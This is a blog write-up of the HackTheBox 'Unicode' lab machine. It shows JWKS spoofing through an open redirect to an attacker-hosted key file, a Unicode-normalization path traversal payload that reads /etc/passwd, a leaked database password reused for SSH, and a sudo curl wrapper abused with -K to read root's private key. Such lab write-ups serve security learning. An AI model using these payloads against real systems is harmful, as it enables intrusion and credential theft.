blog/content/writeup-ctf/writeup-unicode-htb/index.md

title	date	slug	type
Writeup - Unicode (HTB)	2022-05-07	writeup-unicode-htb	writeup-ctf

This is a writeup for the Unicode machine from the HackTheBox site.

Enumeration

First, let's start with a scan of our target with the following command:

nmap -sV -T4 -Pn 10.10.11.126

Two TCP ports are discovered:

• 22/tcp : SSH port (OpenSSH 8.2)
• 80/tcp : HTTP web server (Apache 2.4.41)

Exploit

Let's start by creating an account on the site.

After logging in, you will be taken to the page.

By searching a bit you can find a lot of forms, file sending, ... But after having tested them I don't find anything conclusive.

Looking at the cookies generated by the site, I find one: auth I try to decode it on JWT.io.

So it's a JWT cookie with the RS256 algorithm. I search on google for documentation on this type of cookie and see if there are any exploit. I quickly find the following site: JWT - JSON Web Tokens.

In this article we learn that this string is composed of 3 parts encoded in base 64 :

• Header: Parameter such as the algorithm, the url of the JSON web key, ...
• Payload: Personalized storage area, in our case the username
• Signature : Hash of the Header+Payload

We also learn that in the majority of the cases we use asymmetric keys and that in this case the site must host a jwks file with the keys properties. I can get the content of this file with the following command:

┌──(d3vyce㉿kali)-[~/Documents]
└─$ curl hackmedia.htb/static/jwks.json                                                                   
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}

At the end of the article we learn one last thing, in general this element is stored in the header of the page. But in our case it is in the form of a cookie.

To change the account for the admin account, we will try to do a JWKS Spoofing. To do this we will first generate a key pair following the same parameters as the jwks.json file we found. For that I use the following site mkjwk.

I then create a jwks.json file with the same structure as the previous one but with the n we just generated.

{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "[CHANGE IT]",
            "e": "AQAB"
        }
    ]
}

I then launch a file server with the following command:

python3 -m http.server 80

Then I start to modify our cookie. First I change the value of jku and add the following element:

/../redirect?url=10.10.14.4/jwks.json

Then I add in the Verify Signature part the Public/Private key that we have generated.

Finally I change the variable user with the value admin.

Now that we have our new cookie, I replace the old value with the new one, then refresh the page. I now have access to the admin interface!

I look a little at the different parge, I fall on the following link:

http://10.10.11.126/display/?page=monthly.pdf

It's a link that has an argument, so we should be able to do a Path Traversal exploit. So I try in a first time the following input:

../../../etc/passwd

But unfortunately this results in an error... There is a check that blocks our request. After some research it is known that it is possible to bypass this filtering with a particular encoding of the characters. Thanks to the unicode normalization it is possible to pass the request:

Unicode normalization vulnerabilities

With the following query I can access the file :

︰/︰/︰/︰/︰/︰/︰/etc/passwd

In this file I learn that the mysql service is used. Potentially credentials !

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin 
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin 
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false 
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin 
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin 
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin 
pollinate:x:110:1::/var/cache/pollinate:/bin/false 
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin 
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-
coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin 
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false 
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false 
code:x:1000:1000:,,,:/home/code:/bin/bash 

I then look in the configuration files of nginx, which allows me to find the following file:

mysql_host: "localhost" 
mysql_user: "code" 
mysql_password: "B3stC0d3r2021@@!" 
mysql_db: "user" 

I then try to connect with these credentials:

I now have a shell as code and I can get the first flag.

Privilege escalation

First I look at the sudo permissions I have:

I have the right to run the treport treport script as root, so I try to run it to see what it does:

This script allows to manage files. One option interests me particularly: Download A Threat Report. Indeed after having executed it, we can clearly see that the program uses curl. So I try to download a local file to see what happens:

An error, so there is potentially a validation of the URL... So I look at the doc of the command to see if there is an option that could be useful.

[...]
-K, --config <file>

Specify a text file to read curl arguments from. The command line arguments found in the text file will be used as if they were provided on the command line.
[...]

After a few minutes I find the option -K, this option allows to specify a file in which curl will go to look for the links to download files. I can try to use this option to see the content of the file...

By trying on the id_rsa file of the root use, I can visualize its content ! So I try to create a local file with the RSA key and then connect via SSH to the root user but without success :(

To validate the machine, I still look at the content of the root.txt file.

So I get the last flag, but I didn't get a root shell yet.

Recommendations

To patch this host I think it would be necessary to perform a number of actions:

• Update the panel to avoid Paht Traversal
• Do not let any program run in root if not necessary